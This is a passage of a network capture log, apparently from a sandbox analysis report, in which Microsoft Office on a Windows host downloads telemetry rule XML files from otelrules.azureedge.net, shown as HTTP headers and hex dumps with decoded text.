20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:06 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024106Z-174c587ffdfldtt2hC1TEBwv9c000000054000000000dsfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:06 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:06 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024106Z-178bfbc474bbbqrhhC1NYCvw7400000006zg00000000c39r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:06 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:06 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 07e1e155-901e-0029-69bf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024106Z-178bfbc474b7cbwqhC1NYC8z4n00000006u000000000568g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:06 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:07 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024107Z-178bfbc474bw8bwphC1NYC38b400000006sg000000002kwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:07 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:08 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:08 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024108Z-174c587ffdfdwxdvhC1TEB1c4n000000056000000000hfdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:08 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:08 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:08 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024108Z-174c587ffdftv9hphC1TEBm29w00000005b0000000000s7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:08 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:08 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:08 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024108Z-174c587ffdf4zw2thC1TEBu340000000059g00000000qe3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:09 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:08 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:09 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:09 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024109Z-15b8b599d882zv28hC1TEBdchn000000056000000000db57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:09 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:09 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:09 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 14c1fdaf-501e-0029-4fb8-3ed0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024109Z-178bfbc474bbcwv4hC1NYCypys00000006r0000000007x6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:09 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:10 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:10 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024110Z-174c587ffdfcb7qhhC1TEB3x7000000005cg00000000c043 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:10 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:10 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:11 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:10 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: eeb83c2a-e01e-0085-57b8-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024110Z-178bfbc474bpscmfhC1NYCfc2c00000005cg00000000ffpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:11 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:10 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 259521f4-f01e-003f-28c0-3ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024111Z-178bfbc474brk967hC1NYCfu6000000006mg00000000cqrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 